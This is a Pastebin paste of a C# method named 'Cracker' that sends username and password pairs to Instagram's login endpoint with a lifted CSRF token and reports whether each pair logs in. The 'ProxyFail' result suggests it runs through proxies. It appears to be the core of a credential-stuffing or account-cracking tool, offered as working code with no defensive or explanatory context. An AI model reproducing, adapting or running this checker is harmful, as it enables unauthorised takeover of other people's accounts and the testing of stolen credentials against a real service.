Advertisement
Guest User

Untitled

a guest
Mar 7th, 2016
116
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.06 KB | None | 0 0
  1. Uri uri = new Uri("https://www.instagram.com/");
  2. CookieContainer _cookieJar = new CookieContainer();
  3.  
  4. public string Cracker(string username, string password)
  5. {
  6. try {
  7. HttpWebRequest request1 = (HttpWebRequest)WebRequest.Create("https://www.instagram.com/");
  8. request1.CookieContainer = _cookieJar;
  9. request1.KeepAlive = true;
  10. request1.Headers.Set(HttpRequestHeader.CacheControl, "max-age=0");
  11. request1.Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8";
  12. request1.Headers.Add("Upgrade-Insecure-Requests", @"1");
  13. request1.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36";
  14. request1.Referer = "https://www.instagram.com/";
  15. request1.Headers.Set(HttpRequestHeader.AcceptEncoding, "gzip, deflate, sdch");
  16. request1.Headers.Set(HttpRequestHeader.AcceptLanguage, "en-US,en;q=0.8");
  17.  
  18. HttpWebResponse response = (HttpWebResponse)request1.GetResponse();
  19.  
  20.  
  21. _cookieJar.Add(new Cookie("s_network", "") { Domain = uri.Host });
  22. _cookieJar.Add(new Cookie("ig_vw", "1164") { Domain = uri.Host });
  23. _cookieJar.Add(new Cookie("ig_pr", "1.100000023841858") { Domain = uri.Host });
  24. CookieCollection collection = _cookieJar.GetCookies(uri);
  25. Cookie c = collection[0];
  26. string cookie = c.ToString();
  27. string[] splitter = cookie.Split('=');
  28.  
  29. HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://www.instagram.com/accounts/login/ajax/");
  30. request.CookieContainer = _cookieJar;
  31. request.KeepAlive = true;
  32. request.Headers.Add("Origin", @"https://www.instagram.com");
  33. request.Headers.Add("X-Instagram-AJAX", @"1");
  34. request.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36";
  35. request.ContentType = "application/x-www-form-urlencoded; charset=UTF-8";
  36. request.Headers.Add("X-CSRFToken", splitter[1]);
  37. request.Accept = "*/*";
  38. request.Headers.Add("X-Requested-With", @"XMLHttpRequest");
  39. request.Referer = "https://www.instagram.com/";
  40. request.Headers.Set(HttpRequestHeader.AcceptEncoding, "gzip, deflate");
  41. request.Headers.Set(HttpRequestHeader.AcceptLanguage, "en-US,en;q=0.8");
  42. request.Method = "POST";
  43. request.ServicePoint.Expect100Continue = false;
  44.  
  45. string body = @"username=" + username + "&password=" + password + "";
  46. byte[] postBytes = System.Text.Encoding.UTF8.GetBytes(body);
  47. request.ContentLength = postBytes.Length;
  48. Stream stream = request.GetRequestStream();
  49. stream.Write(postBytes, 0, postBytes.Length);
  50. stream.Close();
  51.  
  52. HttpWebResponse response1 = (HttpWebResponse)request.GetResponse();
  53. Stream readResponse = response1.GetResponseStream();
  54. StreamReader sr = new StreamReader(readResponse);
  55. string finalresponse = sr.ReadToEnd();
  56. sr.Close();
  57. readResponse.Close();
  58. response1.Close();
  59. try {
  60. response1.Cookies["sessionid"].Expires = DateTime.Now.AddDays(-1);
  61. response1.Cookies["target"].Expires = DateTime.Now.AddDays(-1);
  62. response1.Cookies["ds_user_id"].Expires = DateTime.Now.AddDays(-1);
  63. }
  64. catch (Exception)
  65. {
  66. return "AccountDoesntExist";
  67. }
  68.  
  69. if (finalresponse.Contains("authenticated=True"))
  70. {
  71.  
  72. return "IsAccount";
  73.  
  74. }
  75.  
  76. else if (finalresponse.Contains("authenticated=False"))
  77. {
  78. return "IsNotAccount";
  79. }
  80. else
  81. {
  82. return "IsAccount";
  83. }
  84. }
  85. catch(Exception)
  86. {
  87. return "ProxyFail";
  88. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement